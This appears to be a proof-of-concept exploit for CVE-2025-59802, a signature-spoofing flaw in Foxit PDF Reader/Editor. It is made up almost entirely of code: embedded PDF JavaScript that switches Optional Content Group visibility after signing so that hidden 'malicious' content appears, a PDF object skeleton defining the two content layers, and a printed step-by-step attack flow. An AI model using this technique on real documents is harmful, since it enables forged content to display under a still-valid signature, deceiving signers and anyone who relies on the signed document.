CVE-2025-59802: Foxit PDF Reader/Editor OCG签名欺骗漏洞

/// Foxit PDF OCG Signature Spoofing PoC /// This PoC demonstrates how OCG visibility can be manipulated after signing // JavaScript code to be embedded in the malicious PDF var maliciousJS = ` // Wait for document to be fully loaded if (this.external) { // For Adobe Reader compatibility mode app.alert("Document requires JavaScript"); } // Get all Optional Content Groups var ocgArray = this.getOCGs(); if (ocgArray && ocgArray.length > 0) { // Hide the OCG containing signed content (simulating pre-signing state) // In attack scenario, this content is hidden during signing ocgArray[0].state = false; // Hide signed content // Show malicious content that was hidden during signing if (ocgArray.length > 1) { ocgArray[1].state = true; // Show malicious content } } // Alternatively, use document events to trigger manipulation this.setAction("WillPrint", "app.alert('Printing modified document');"); `; // PDF structure for OCG-based attack var pdfStructure = ` %PDF-1.7 %OCG-based Signature Spoofing Structure 3 0 obj << /Type /Catalog /Pages 2 0 R /OCProperties << /OCGs [4 0 R 5 0 R] /D << /Name (Default) /ON [4 0 R] /OFF [5 0 R] /Locked [4 0 R] >> >> >> endobj 4 0 obj << /Type /OCG /Name (Original Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj 5 0 obj << /Type /OCG /Name (Hidden Malicious Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj % JavaScript action to be triggered 6 0 obj << /S /JavaScript /JS ${maliciousJS} >> endobj `; console.log("OCG Signature Spoofing PoC Generated"); console.log("Attack Flow:"); console.log("1. Attacker creates PDF with OCG containing two states"); console.log("2. Original content in ON state, malicious content in OFF state"); console.log("3. Victim signs the document (only ON state content is signed)"); console.log("4. After signing, JavaScript switches states"); console.log("5. Signature remains valid but displayed content is modified");